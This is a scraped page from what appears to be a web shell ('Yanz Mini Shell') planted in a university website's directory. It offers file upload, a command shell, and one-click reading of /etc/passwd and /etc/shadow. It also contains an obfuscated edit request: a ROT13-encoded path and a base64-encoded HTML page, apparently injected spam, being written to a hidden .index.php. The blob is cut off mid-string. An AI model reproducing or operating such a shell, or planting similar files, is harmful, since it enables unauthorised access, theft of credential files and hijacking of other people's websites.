Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
a=ft&c=%2Fubzr%2Fhapcnp53%2Fchoyvp_ugzy%2Fsfnvaf.hapc.np.vq%2F&p=.vaqrk.cuc&x=edit&s=1CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJpZCI%2BCiAgIDxoZWFkIHByZWZpeD0ib2c6IGh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyBmYjogaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIHByb2R1Y3Q6IGh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyI%2BCiAgICAgIDxzY3JpcHQgZGF0YS1icmVlemU9IjEiPgogICAgICAgICB2YXIgTE9DQUxFID0gJ2lkXHUwMDJESUQnOwogICAgICAgICB2YXIgQkFTRV9VUkwgPSAnaHR0cHNcdTAwM0FcdTAwMkZcdTAwMkZ3d3cubW90aGVyY2FyZS5jby5pZFx1MDAyRic7CiAgICAgICAgIHZhciBWSUVXX1VSTCA9ICdodHRwc1x1MDAzQVx1MDAyRlx1MDAyRnd3dy5tb3RoZXJjYXJlLmNvLmlkXHUwMDJGc3RhdGljXHUwMDJGdmVyc2lvbjE3NDE5NjMzNDVcdTAwMkZmcm9udGVuZFx1MDAyRkNvZGlsYXJcdTAwMkZtb3RoZXJjYXJlXHUwMDJGaWRfSUQnOwogICAgICAgICB2YXIgcmVxdWlyZWQgPSBbXTsKICAgICAgICAgdmFyIHJlcXVpcmUgPSAoZGVwcywgY2FsbGJhY2spID0%2BIHJlcXVpcmVkLnB1c2goW2RlcHMsIGNhbGxiYWNrXSk7CiAgICAgIDwvc2NyaXB0PiAgICAgICAgCiAgICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPih3aW5kb3cuTlJFVU18fChOUkVVTT17fSkpLmluaXQ9e2FqYXg6e2RlbnlfbGlzdDpbImJhbS5uci1kYXRhLm5ldCJdfX07KHdpbmRvdy5OUkVVTXx8KE5SRVVNPXt9KSkubG9hZGVyX2NvbmZpZz17bGljZW5zZUtleToiTlJKUy0zNzk2ZjM5ZTkwNzBmNWRhNTE5IixhcHBsaWNhdGlvbklEOiI2NjI1Njg3NjgifTs7LyohIEZvciBsaWNlbnNlIGluZm9ybWF0aW9uIHBsZWFzZSBzZWUgbnItbG9hZGVyLXJ1bS0xLjI4NC4xLm1pbi5qcy5MSUNFTlNFLnR4dCAqLwogICAgICAgICAoKCk9Pnt2YXIgZSx0LHI9ezEyMjooZSx0LHIpPT57InVzZSBzdHJpY3QiO3IuZCh0LHthOigpPT5pfSk7dmFyIG49cig5NDQpO2Z1bmN0aW9uIGkoZSx0KXt0cnl7aWYoIWV8fCJvYmplY3QiIT10eXBlb2YgZSlyZXR1cm4oMCxuLlIpKDMpO2lmKCF0fHwib2JqZWN0IiE9dHlwZW9mIHQpcmV0dXJuKDAsbi5SKSg0KTtjb25zdCByPU9iamVjdC5jcmVhdGUoT2JqZWN0LmdldFByb3RvdHlwZU9mKHQpLE9iamVjdC5nZXRPd25Qcm9wZXJ0eURlc2NyaXB0b3JzKHQpKSxvPTA9PT1PYmplY3Qua2V5cyhyKS5sZW5ndGg%2FZTpyO2ZvcihsZXQgYSBpbiBvKWlmKHZvaWQgMCE9PWVbYV0pdHJ5e2lmKG51bGw9PT1lW2FdKXtyW2FdPW51bGw7Y29udGludWV9QXJyYXkuaXNBcnJheShlW2FdKSYmQXJyYXkuaXNBcnJheSh0W2FdKT9yW2FdPUFycmF5LmZyb20obmV3IFNldChbLi4uZVthXSwuLi50W2FdXSkpOiJvYmplY3QiPT10eXBlb2YgZVthXSYmIm9iamVjdCI9PXR5cGVvZiB0W2FdP3JbYV09aShlW2FdLHRbYV0pOnJbYV09ZVthXX1jYXRjaChlKXsoMCxuLlIpKDEsZSl9cmV0dXJuIHJ9Y2F0Y2goZSl7KDAsbi5SKSgyLGUpfX19LDU1NTooZSx0LHIpPT57InVzZSBzdHJpY3QiO3IuZCh0LHtWcDooKT0%2BYyxmbjooKT0%2Bcyx4MTooKT0%2BdX0pO3ZhciBuPXIoMzg0KSxpPXIoMTIyKTtjb25zdCBvPXtiZWFjb246bi5OVC5iZWFjb24sZXJyb3JCZWFjb246bi5OVC5lcnJvckJlYWNvbixsaWNlbnNlS2V5OnZvaWQgMCxhcHBsaWNhdGlvbklEOnZvaWQgMCxzYTp2b2lkIDAscXVldWVUaW1lOnZvaWQgMCxhcHBsaWNhdGlvblRpbWU6dm9pZCAwLHR0R3VpZDp2b2lkIDAsdXNlcjp2b2lkIDAsYWNjb3VudDp2b2lkIDAscHJvZHVjdDp2b2lkIDAsZXh0cmE6dm9pZCAwLGpzQXR0cmlidXRlczp7fSx1c2VyQXR0cmlidXRlczp2b2lkIDAsYXR0czp2b2lkIDAsdHJhbnNhY3Rpb25OYW1lOnZvaWQgMCx0TmFtZVBsYWluOnZvaWQgMH0sYT17fTtmdW5jdGlvbiBzKGUpe3RyeXtjb25zdCB0PWMoZSk7cmV0dXJuISF0LmxpY2Vuc2VLZXkmJiEhdC5lcnJvckJlYWNvbiYmISF0LmFwcGxpY2F0aW9uSUR9Y2F0Y2goZSl7cmV0dXJuITF9fWZ1bmN0aW9uIGMoZSl7aWYoIWUpdGhyb3cgbmV3IEVycm9yKCJBbGwgaW5mbyBvYmplY3RzIHJlcXVpcmUgYW4gYWdlbnQgaWRlbnRpZmllciEiKTtpZighYVtlXSl0aHJvdyBuZXcgRXJyb3IoIkluZm8gZm9yICIuY29uY2F0KGUsIiB3YXMgbmV2ZXIgc2V0IikpO3JldHVybiBhW2VdfWZ1bmN0aW9uIHUoZSx0KXtpZighZSl0aHJvdyBuZXcgRXJyb3IoIkFsbCBpbmZvIG9iamVjdHMgcmVxdWlyZSBhbiBhZ2VudCBpZGVudGlmaWVyISIpO2FbZV09KDAsaS5hKSh0LG8pO2NvbnN0IHI9KDAsbi5uWSkoZSk7ciYmKHIuaW5mbz1hW2VdKX19LDIxNzooZSx0LHIpPT57InVzZSBzdHJpY3QiO3IuZCh0LHtEMDooKT0%2BbSxnRDooKT0%2Bdix4TjooKT0%2BaH0pO3IoODYwKS5LNy5nZW5lcmljRXZlbnRzO2NvbnN0IG49ImV4cGVyaW1lbnRhbC5tYXJrcyIsaT0iZXhwZXJpbWVudGFsLm1lYXN1cmVzIixvPSJleHBlcmltZW50YWwucmVzb3VyY2VzIixhPWU9PntpZighZXx8InN0cmluZyIhPXR5cGVvZiBlKXJldHVybiExO3RyeXtkb2N1bWVudC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCkucXVlcnlTZWxlY3RvcihlKX1jYXRjaHtyZXR1cm4hMX1yZXR1cm4hMH07dmFyIHM9cig2MTQpLGM9cig5NDQpLHU9cigzODQpLGw9cigxMjIpO2NvbnN0IGQ9IltkYXRhLW5yLW1hc2tdIixmPSgpPT57Y29uc3QgZT17ZmVhdHVyZV9mbGFnczpbXSxleHBlcmltZW50YWw6e21hcmtzOiExLG1lYXN1cmVzOiExLHJlc291cmNlczohMX0sbWFza19zZWxlY3RvcjoiKiIsYmxvY2tfc2VsZWN0b3I6IltkYXRhLW5yLWJsb2NrXSIsbWFza19pbnB1dF9vcHRpb25zOntjb2xvcjohMSxkYXRlOiExLCJkYXRldGltZS1sb2NhbCI6ITEsZW1haWw6ITEsbW9udGg6ITEsbnVtYmVyOiExLHJhbmdlOiExLHNlYXJjaDohMSx0ZWw6ITEsdGV4dDohMSx0aW1lOiExLHVybDohMSx3ZWVrOiExLHRleHRhcmVhOiExLHNlbGVjdDohMSxwYXNzd29yZDohMH19O3JldHVybnthamF4OntkZW55X2xpc3Q6dm9pZCAwLGJsb2NrX2ludGVybmFsOiEwLGVuYWJsZWQ6ITAsYXV0b1N0YXJ0OiEwfSxkaXN0cmlidXRlZF90cmFjaW5nOntlbmFibGVkOnZvaWQgMCxleGNsdWRlX25ld3JlbGljX2hlYWRlcjp2b2lkIDAsY29yc191c2VfbmV3cmVsaWNfaGVhZGVyOnZvaWQgMCxjb3JzX3VzZV90cmFjZWNvbnRleHRfaGVhZGVyczp2b2lkIDAsYWxsb3dlZF9vcmlnaW5zOnZvaWQgMH0sZ2V0IGZlYXR1cmVfZmxhZ3MoKXtyZXR1cm4gZS5mZWF0dXJlX2ZsYWdzfSxzZXQgZmVhdHVyZV9mbGFncyh0KXtlLmZlYXR1cmVfZmxhZ3M9dH0sZ2VuZXJpY19ldmVudHM6e2VuYWJsZWQ6ITAsYXV0b1N0YXJ0OiEwfSxoYXJ2ZXN0OntpbnRlcnZhbDozMH0sanNlcnJvcnM6e2VuYWJsZWQ6ITAsYXV0b1N0YXJ0OiEwfSxsb2dnaW5nOntlbmFibGVkOiEwLGF1dG9TdGFydDohMH0sbWV0cmljczp7ZW5hYmxlZDohMCxhdXRvU3RhcnQ6ITB9LG9iZnVzY2F0ZTp2b2lkIDAscGFnZV9hY3Rpb246e2VuYWJsZWQ6ITB9LHBhZ2Vfdmlld19ldmVudDp7ZW5hYmxlZDohMCxhdXRvU3RhcnQ6ITB9LHBhZ2Vfdmlld190aW1pbmc6e2VuYWJsZWQ6ITAsYXV0b1N0YXJ0OiEwfSxwZXJmb3JtYW5jZTp7Z2V0IGNhcHR1cmVfbWFya3MoKXtyZXR1cm4gZS5mZWF0dXJlX2ZsYWdzLmluY2x1ZGVzKG4pfHxlLmV4cGVyaW1lbnRhbC5tYXJrc30sc2V0IGNhcHR1cmVfbWFya3ModCl7ZS5leHBlcmltZW50YWwubWFya3M9dH0sZ2V0IGNhcHR1cmVfbWVhc3VyZXMoKXtyZXR1cm4gZS5mZWF0dXJlX2ZsYWdzLmluY2x1ZGVzKGkpfHxlLmV4cGVyaW1lbnRhbC5tZWFzdXJlc30sc2V0IGNhcHR1cmVfbWVhc3VyZXModCl7ZS5leHBlcmltZW50YWwubWVhc3VyZXM9dH0sY2FwdHVyZV9kZXRhaWw6ITAscmVzb3VyY2VzOntnZXQgZW5hYmxlZCgpe3JldHVybiBlLmZlYXR1cmVfZmxhZ3MuaW5jbHVkZXMobyl8fGUuZXhwZXJpbWVudGFsLnJlc291cmNlc30sc2V0IGVuYWJsZWQodCl7ZS5leHBlcmltZW50YWwucmVzb3VyY2VzPXR9LGFzc2V0X3R5cGVzOltdLGZpcnN0X3BhcnR5X2RvbWFpbnM6W10saWdub3JlX25ld3JlbGljOiEwfX0scHJpdmFjeTp7Y29va2llc19lbmFibGVkOiEwfSxwcm94eTp7YXNzZXRzOnZvaWQgMCxiZWFjb246dm9pZCAwfSxzZXNzaW9uOntleHBpcmVzTXM6cy53ayxpbmFjdGl2ZU1zOnMuQkJ9LHNlc3Npb25fcmVwbGF5OnthdXRvU3RhcnQ6ITAsZW5hYmxlZDohMSxwcmVsb2FkOiExLHNhbXBsaW5nX3JhdGU6MTAsZXJyb3Jfc2FtcGxpbmdfcmF0ZToxMDAsY29sbGVjdF9mb250czohMSxpbmxpbmVfaW1hZ2VzOiExLGZpeF9zdHlsZXNoZWV0czohMCxtYXNrX2FsbF9pbnB1dHM6ITAsZ2V0IG1hc2tfdGV4dF9zZWxlY3Rvcigpe3JldHVybiBlLm1hc2tfc2VsZWN0b3J9LHNldCBtYXNrX3RleHRfc2VsZWN0b3IodCl7YSh0KT9lLm1hc2tfc2VsZWN0b3I9IiIuY29uY2F0KHQsIiwiKS5jb25jYXQoZCk6IiI9PT10fHxudWxsPT09dD9lLm1hc2tfc2VsZWN0b3I9ZDooMCxjLlIpKDUsdCl9LGdldCBibG9ja19jbGFzcygpe3JldHVybiJuci1ibG9jayJ9LGdldCBpZ25vcmVfY2xhc3MoKXtyZXR1cm4ibnItaWdub3JlIn0sZ2V0IG1hc2tfdGV4dF9jbGFzcygpe3JldHVybiJuci1tYXNrIn0sZ2V0IGJsb2NrX3NlbGVjdG9yKCl7cmV0dXJuIGUuYmxvY2tfc2VsZWN0b3J9LHNldCBibG9ja19zZWxlY3Rvcih0KXthKHQpP2UuYmxvY2tfc2VsZWN0b3IrPSIsIi5jb25jYXQodCk6IiIhPT10JiYoMCxjLlIpKDYsdCl9LGdldCBtYXNrX2lucHV0X29wdGlvbnMoKXtyZXR1cm4gZS5tYXNrX2lucHV0X29wdGlvbnN9LHNldCBtYXNrX2lucHV0X29wdGlvbnModCl7dCYmIm9iamVjdCI9PXR5cGVvZiB0P2UubWFza19pbnB1dF9vcHRpb25zPXsuLi50LHBhc3N3b3JkOiEwfTooMCxjLlIpKDcsdCl9fSxzZXNzaW9uX3RyYWNlOntlbmFibGVkOiEwLGF1dG9TdGFydDohMH0sc29mdF9uYXZpZ2F0aW9uczp7ZW5hYmxlZDohMCxhdXRvU3RhcnQ6ITB9LHNwYTp7ZW5hYmxlZDohMCxhdXRvU3RhcnQ6ITB9LHNzbDp2b2lkIDAsdXNlcl9hY3Rpb25zOntlbmFibGVkOiEwLGVsZW1lbnRBdHRyaWJ1dGVzOlsiaWQiLCJjbGFzc05hbWUiLCJ0YWdOYW1lIiwidHlwZSJdfX19LGc9e30scD0iQWxsIGNvbmZpZ3VyYXRpb24gb2JqZWN0cyByZXF1aXJlIGFuIGFnZW50IGlkZW50aWZpZXIhIjtmdW5jdGlvbiBtKGUpe2lmKCFlKXRocm93IG5ldyBFcnJvcihwKTtpZighZ1tlXSl0aHJvdyBuZXcgRXJyb3IoIkNvbmZpZ3VyYXRpb24gZm9yICIuY29uY2F0KGUsIiB3YXMgbmV2ZXIgc2V0IikpO3JldHVybiBnW2VdfWZ1bmN0aW9uIGgoZSx0KXtpZighZSl0aHJvdyBuZXcgRXJyb3IocCk7Z1tlXT0oMCxsLmEpKHQsZigpKTtjb25zdCByPSgwLHUublkpKGUpO3ImJihyLmluaXQ9Z1tlXSl9ZnVuY3Rpb24gdihlLHQpe2lmKCFlKXRocm93IG5ldyBFcnJvcihwKTt2YXIgcj1tKGUpO2lmKHIpe2Zvcih2YXIgbj10LnNwbGl0KCIuIiksaT0wO2k8bi5sZW5ndGgtMTtpKyspaWYoIm9iamVjdCIhPXR5cGVvZihyPXJbbltpXV0pKXJldHVybjtyPXJbbltuLmxlbmd0aC0xXV19cmV0dXJuIHJ9fSwzNzE6KGUsdCxyKT0%2BeyJ1c2Ugc3RyaWN0IjtyLmQodCx7VjooKT0%2BZixmOigpPT5kfSk7dmFyIG49cigxMjIpLGk9cigzODQpLG89cigxNTQpLGE9cigzMjQpO2xldCBzPTA7Y29uc3QgYz17YnVpbGRFbnY6YS5GMyxkaXN0TWV0aG9kOmEuWHMsdmVyc2lvbjphLnh2LG9yaWdpblRpbWU6by5XTn0sdT17Y3VzdG9tVHJhbnNhY3Rpb246dm9pZCAwLGRpc2FibGVkOiExLGlzb2xhdGVkQmFja2xvZzohMSxsb2FkZXJUeXBlOnZvaWQgMCxtYXhCeXRlczozZTQsb25lcnJvcjp2b2lkIDAscHRpZDp2b2lkIDAscmVsZWFzZUlkczp7fSxhcHBNZXRhZGF0YTp7fSxzZXNzaW9uOnZvaWQgMCxkZW55TGlzdDp2b2lkIDAsdGltZUtlZXBlcjp2b2lkIDAsb2JmdXNjYXRvcjp2b2lkIDAsaGFydmVzdGVyOnZvaWQgMH0sbD17fTtmdW5jdGlvbiBkKGUpe2lmKCFlKXRocm93IG5ldyBFcnJvcigiQWxsIHJ1bnRpbWUgb2JqZWN0cyByZXF1aXJlIGFuIGFnZW50IGlkZW50aWZpZXIhIik7aWYoIWxbZV0pdGhyb3cgbmV3IEVycm9yKCJSdW50aW1lIGZvciAiLmNvbmNhdChlLCIgd2FzIG5ldmVyIHNldCIpKTtyZXR1cm4gbFtlXX1mdW5jdGlvbiBmKGUsdCl7aWYoIWUpdGhyb3cgbmV3IEVycm9yKCJBbGwgcnVudGltZSBvYmplY3RzIHJlcXVpcmUgYW4gYWdlbnQgaWRlbnRpZmllciEiKTtsW2VdPXsuLi4oMCxuLmEpKHQsdSksLi4uY30sT2JqZWN0Lmhhc093blByb3BlcnR5LmNhbGwobFtlXSwiaGFydmVzdENvdW50Iil8fE9iamVjdC5kZWZpbmVQcm9wZXJ0eShsW2VdLCJoYXJ2ZXN0Q291bnQiLHtnZXQ6KCk9Pisrc30pO2NvbnN0IHI9KDAsaS5uWSkoZSk7ciYmKHIucnVudGltZT1sW2VdKX19LDMyNDooZSx0LHIpPT57InVzZSBzdHJpY3QiO3IuZCh0LHtGMzooKT0%2BaSxYczooKT0%2Bbyx4djooKT0%2Bbn0pO2NvbnN0IG49IjEuMjg0LjEiLGk9IlBST0QiLG89IkNETiJ9LDE1NDooZSx0LHIpPT57InVzZSBzdHJpY3QiO3IuZCh0LHtPRjooKT0%2BYyxSSTooKT0%2BaSxXTjooKT0%2BbCxidjooKT0%2BbyxnbTooKT0%2BYSxtdzooKT0%2BcyxzYjooKT0%2BdX0pO3ZhciBuPXIoODYzKTtjb25zdCBpPSJ1bmRlZmluZWQiIT10eXBlb2Ygd2luZG93JiYhIXdpbmRvdy5kb2N1bWVudCxvPSJ1bmRlZmluZWQiIT10eXBlb2YgV29ya2VyR2xvYmFsU2NvcGUmJigidW5kZWZpbmVkIiE9dHlwZW9mIHNlbGYmJnNlbGYgaW5zdGFuY2VvZiBXb3JrZXJHbG9iYWxTY29wZSYmc2VsZi5uYXZpZ2F0b3IgaW5zdGFuY2VvZiBXb3JrZXJOYXZpZ2F0b3J8fCJ1bmRlZmluZWQiIT10eXBlb2YgZ2xvYmFsVGhpcyYmZ2xvYmFsVGhpcyBpbnN0YW5jZW9mIFdvcmtlckdsb2JhbFNjb3BlJiZnbG9iYWxUaGlzLm5hdmlnYXRvciBpbnN0YW5jZW9mIFdvcmtlck5hdmlnYXRvciksYT1pP3dpbmRvdzoidW5kZWZpbmVkIiE9dHlwZW9mIFdvcmtlckdsb2JhbFNjb3BlJiYoInVuZGVmaW5lZCIhPXR5cGVvZiBzZWxmJiZzZWxmIGluc3RhbmNlb2YgV29ya2VyR2xvYmFsU2NvcGUmJnNlbGZ8fCJ1bmRlZmluZWQiIT10eXBlb2YgZ2xvYmFsVGhpcyYmZ2xvYmFsVGhpcyBpbnN0YW5jZW9mIFdvcmtlckdsb2JhbFNjb3BlJiZnbG9iYWxUaGlzKSxzPUJvb2xlYW4oImhpZGRlbiI9PT1hPy5kb2N1bWVudD8udmlzaWJpbGl0eVN0YXRlKSxjPS9pUGFkfGlQaG9uZXxpUG9kLy50ZXN0KGEubmF2aWdhdG9yPy51c2VyQWdlbnQpLHU9YyYmInVuZGVmaW5lZCI9PXR5cGVvZiBTaGFyZWRXb3JrZXIsbD0oKCgpPT57Y29uc3QgZT1hLm5hdmlnYXRvcj8udXNlckFnZW50Py5tYXRjaCgvRmlyZWZveFsvXHNdKFxkK1wuXGQrKS8pO0FycmF5LmlzQXJyYXkoZSkmJmUubGVuZ3RoPj0yJiZlWzFdfSkoKSxEYXRlLm5vdygpLSgwLG4udCkoKSl9LDY4NzooZSx0LHIpPT57InVzZSBzdHJpY3QiO3IuZCh0LHtBazooKT0%2BYyxaZTooKT0%2BZCx4MzooKT0%2BdX0pO3ZhciBuPXIoODM2KSxpPXIoNjA2KSxvPXIoODYwKSxhPXIoNjQ2KTtjb25zdCBzPXt9O2Z1bmN0aW9uIGMoZSx0KXtjb25zdCByPXtzdGFnZWQ6ITEscHJpb3JpdHk6by5QM1t0XXx8MH07bChlKSxzW2VdLmdldCh0KXx8c1tlXS5zZXQodCxyKX1mdW5jdGlvbiB1KGUsdCl7ZSYmc1tlXSYmKHNbZV0uZ2V0KHQpJiZzW2VdLmRlbGV0ZSh0KSxnKGUsdCwhMSksc1tlXS5zaXplJiZmKGUpKX1mdW5jdGlvbiBsKGUpe2lmKCFlKXRocm93IG5ldyBFcnJvcigiYWdlbnRJZGVudGlmaWVyIHJlcXVpcmVkIik7c1tlXXx8KHNbZV09bmV3IE1hcCl9ZnVuY3Rpb24gZChlPSIiLHQ9ImZlYXR1cmUiLHI9ITEpe2lmKGwoZSksIWV8fCFzW2VdLmdldCh0KXx8cilyZXR1cm4gZyhlLHQpO3NbZV0uZ2V0KHQpLnN0YWdlZD0hMCxmKGUpfWZ1bmN0aW9uIGYoZSl7Y29uc3QgdD1BcnJheS5mcm9tKHNbZV0pO3QuZXZlcnkoKChbZSx0XSk9PnQuc3RhZ2VkKSkmJih0LnNvcnQoKChlLHQpPT5lWzFdLnByaW9yaXR5LXRbMV0ucHJpb3JpdHkpKSx0LmZvckVhY2goKChbdF0pPT57c1tlXS5kZWxldGUodCksZyhlLHQpfSkpKX1mdW5jdGlvbiBnKGUsdCxyPSEwKXtjb25zdCBvPWU%2Fbi5lZS5nZXQoZSk6bi5lZSxzPWkuaS5oYW5kbGVycztpZighby5hYm9ydGVkJiZvLmJhY2tsb2cmJnMpe2lmKHIpe2NvbnN0IGU9by5iYWNrbG9nW3RdLHI9c1t0XTtpZihyKXtmb3IobGV0IHQ9MDtlJiZ0PGUubGVuZ3RoOysrdClwKGVbdF0scik7T2JqZWN0LmVudHJpZXMocikuZm9yRWFjaCgoKFtlLHRdKT0%2Be09iamVjdC52YWx1ZXModHx8e30pLmZvckVhY2goKHQ9Pnt0WzBdPy5vbiYmdFswXT8uY29udGV4dCgpaW5zdGFuY2VvZiBhLnkmJnRbMF0ub24oZSx0WzFdKX0pKX0pKX19by5pc29sYXRlZEJhY2tsb2d8fGRlbGV0ZSBzW3RdLG8uYmFja2xvZ1t0XT1udWxsLG8uZW1pdCgiZHJhaW4tIit0LFtdKX19ZnVuY3Rpb24gcChlLHQpe3ZhciByPWVbMV07T2JqZWN0LnZhbHVlcyh0W3JdfHx7fSkuZm9yRWFjaCgodD0%2Be3ZhciByPWVbMF07aWYodFswXT09PXIpe3ZhciBuPXRbMV0saT1lWzNdLG89ZVsyXTtuLmFwcGx5KGksbyl9fSkpfX0sODM2OihlLHQscik9PnsidXNlIHN0cmljdCI7ci5kKHQse1A6KCk9PmMsZWU6KCk9PnV9KTt2YXIgbj1yKDM4NCksaT1yKDk5MCksbz1yKDM3MSksYT1yKDY0Nikscz1yKDYwNyk7Y29uc3QgYz0ibnJAY29udGV4dDoiLmNvbmNhdChzLlcpLHU9ZnVuY3Rpb24gZSh0LHIpe3ZhciBuPXt9LHM9e30sbD17fSxkPSExO3RyeXtkPTE2PT09ci5sZW5ndGgmJigwLG8uZikocikuaXNvbGF0ZWRCYWNrbG9nfWNhdGNoKGUpe312YXIgZj17b246cCxhZGRFdmVudExpc3RlbmVyOnAscmVtb3ZlRXZlbnRMaXN0ZW5lcjpmdW5jdGlvbihlLHQpe3ZhciByPW5bZV07aWYoIXIpcmV0dXJuO2Zvcih2YXIgaT0wO2k8ci5sZW5ndGg7aSsrKXJbaV09PT10JiZyLnNwbGljZShpLDEpfSxlbWl0OmZ1bmN0aW9uKGUscixuLGksbyl7ITEhPT1vJiYobz0hMCk7aWYodS5hYm9ydGVkJiYhaSlyZXR1cm47dCYmbyYmdC5lbWl0KGUscixuKTtmb3IodmFyIGE9ZyhuKSxjPW0oZSksbD1jLmxlbmd0aCxkPTA7ZDxsO2QrKyljW2RdLmFwcGx5KGEscik7dmFyIHA9digpW3NbZV1dO3AmJnAucHVzaChbZixlLHIsYV0pO3JldHVybiBhfSxnZXQ6aCxsaXN0ZW5lcnM6bSxjb250ZXh0OmcsYnVmZmVyOmZ1bmN0aW9uKGUsdCl7Y29uc3Qgcj12KCk7aWYodD10fHwiZmVhdHVyZSIsZi5hYm9ydGVkKXJldHVybjtPYmplY3QuZW50cmllcyhlfHx7fSkuZm9yRWFjaCgoKFtlLG5dKT0%2Be3Nbbl09dCx0IGluIHJ8fChyW3RdPVtdKX0pKX0sYWJvcnQ6ZnVuY3Rpb24oKXtmLl9hYm9ydGVkPSEwLE9iamVjdC5rZXlzKGYuYmFja2xvZykuZm9yRWFjaCgoZT0%2Be2RlbGV0ZSBmLmJhY2tsb2dbZV19KSl9LGlzQnVmZmVyaW5nOmZ1bmN0aW9uKGUpe3JldHVybiEhdigpW3NbZV1dfSxkZWJ1Z0lkOnIsYmFja2xvZzpkP3t9OnQmJiJvYmplY3QiPT10eXBlb2YgdC5iYWNrbG9nP3QuYmFja2xvZzp7fSxpc29sYXRlZEJhY2tsb2c6ZH07cmV0dXJuIE9iamVjdC5kZWZpbmVQcm9wZXJ0eShmLCJhYm9ydGVkIix7Z2V0OigpPT57bGV0IGU9Zi5fYWJvcnRlZHx8ITE7cmV0dXJuIGV8fCh0JiYoZT10LmFib3J0ZWQpLGUpfX0pLGY7ZnVuY3Rpb24gZyhlKXtyZXR1cm4gZSYmZSBpbnN0YW5jZW9mIGEueT9lOmU%2FKDAsaS5JKShlLGMsKCgpPT5uZXcgYS55KGMpKSk6bmV3IGEueShjKX1mdW5jdGlvbiBwKGUsdCl7bltlXT1tKGUpLmNvbmNhdCh0KX1mdW5jdGlvbiBtKGUpe3JldHVybiBuW2VdfHxbXX1mdW5jdGlvbiBoKHQpe3JldHVybiBsW3RdPWxbdF18fGUoZix0KX1mdW5jdGlvbiB2KCl7cmV0dXJuIGYuYmFja2xvZ319KHZvaWQgMCwiZ2xvYmFsRUUiKSxsPSgwLG4uWm0pKCk7bC5lZXx8KGwuZWU9dSl9LDY0NjooZSx0LHIpPT57InVzZSBzdHJpY3QiO3IuZCh0LHt5OigpPT5ufSk7Y2xhc3Mgbntjb25zdHJ1Y3RvcihlKXt0aGlzLmNvbnRleHRJZD1lfX19LDkwODooZSx0LHIpPT57InVzZSBzdHJpY3QiO3IuZCh0LHtkOigpPT5uLHA6KCk9Pml9KTt2YXIgbj1yKDgzNikuZWUuZ2V0KCJoYW5kbGUiKTtmdW5jdGlvbiBpKGUsdCxyLGksbyl7bz8oby5idWZmZXIoW2VdLGkpLG8uZW1pdChlLHQscikpOihuLmJ1ZmZlcihbZV0saSksbi5lbWl0KGUsdCxyKSl9fSw2MDY6KGUsdCxyKT0%2BeyJ1c2Ugc3RyaWN0IjtyLmQodCx7aTooKT0%2Bb30pO3ZhciBuPXIoOTA4KTtvLm9uPWE7dmFyIGk9by5oYW5kbGVycz17fTtmdW5jdGlvbiBvKGUsdCxyLG8pe2Eob3x8bi5kLGksZSx0LHIpfWZ1bmN0aW9uIGEoZSx0LHIsaSxvKXtvfHwobz0iZmVhdHVyZSIpLGV8fChlPW4uZCk7dmFyIGE9dFtvXT10W29dfHx7fTsoYVtyXT1hW3JdfHxbXSkucHVzaChbZSxpXSl9fSw4Nzg6KGUsdCxyKT0%2BeyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBuKGUsdCl7cmV0dXJue2NhcHR1cmU6ZSxwYXNzaXZlOiExLHNpZ25hbDp0fX1mdW5jdGlvbiBpKGUsdCxyPSExLGkpe3dpbmRvdy5hZGRFdmVudExpc3RlbmVyKGUsdCxuKHIsaSkpfWZ1bmN0aW9uIG8oZSx0LHI9ITEsaSl7ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcihlLHQsbihyLGkpKX1yLmQodCx7REQ6KCk9Pm8salQ6KCk9Pm4sc3A6KCk9Pml9KX0sNjA3OihlLHQscik9PnsidXNlIHN0cmljdCI7ci5kKHQse1c6KCk9Pm59KTtjb25zdCBuPSgwLHIoNTY2KS5ieikoKX0sNTY2OihlLHQscik9PnsidXNlIHN0cmljdCI7ci5kKHQse0xBOigpPT5zLGJ6OigpPT5hfSk7dmFyIG49cigxNTQpO2NvbnN0IGk9Inh4eHh4eHh4LXh4eHgtNHh4eC15eHh4LXh4eHh4eHh4eHh4eCI7ZnVuY3Rpb24gbyhlLHQpe3JldHVybiBlPzE1JmVbdF06MTYqTWF0aC5yYW5kb20oKXwwfWZ1bmN0aW9uIGEoKXtjb25zdCBlPW4uZ20%2FLmNyeXB0b3x8bi5nbT8ubXNDcnlwdG87bGV0IHQscj0wO3JldHVybiBlJiZlLmdldFJhbmRvbVZhbHVlcyYmKHQ9ZS5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMzApKSksaS5zcGxpdCgiIikubWFwKChlPT4ieCI9PT1lP28odCxyKyspLnRvU3RyaW5nKDE2KToieSI9PT1lPygzJm8oKXw4KS50b1N0cmluZygxNik6ZSkpLmpvaW4oIiIpfWZ1bmN0aW9uIHMoZSl7Y29uc3QgdD1uLmdtPy5jcnlwdG98fG4uZ20%2FLm1zQ3J5cHRvO2xldCByLGk9MDt0JiZ0LmdldFJhbmRvbVZhbHVlcyYmKHI9dC5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoZSkpKTtjb25zdCBhPVtdO2Zvcih2YXIgcz0wO3M8ZTtzKyspYS5wdXNoKG8ocixpKyspLnRvU3RyaW5nKDE2KSk7cmV0dXJuIGEuam9pbigiIil9fSw2MTQ6KGUsdCxyKT0%2BeyJ1c2Ugc3RyaWN0IjtyLmQodCx7QkI6KCk9PmEsSDM6KCk9Pm4sZzooKT0%2BdSxpTDooKT0%2BYyx0UzooKT0%2Bcyx1aDooKT0%2BaSx3azooKT0%2Bb30pO2NvbnN0IG49Ik5SQkEiLGk9IlNFU1NJT04iLG89MTQ0ZTUsYT0xOGU1LHM9e1NUQVJURUQ6InNlc3Npb24tc3RhcnRlZCIs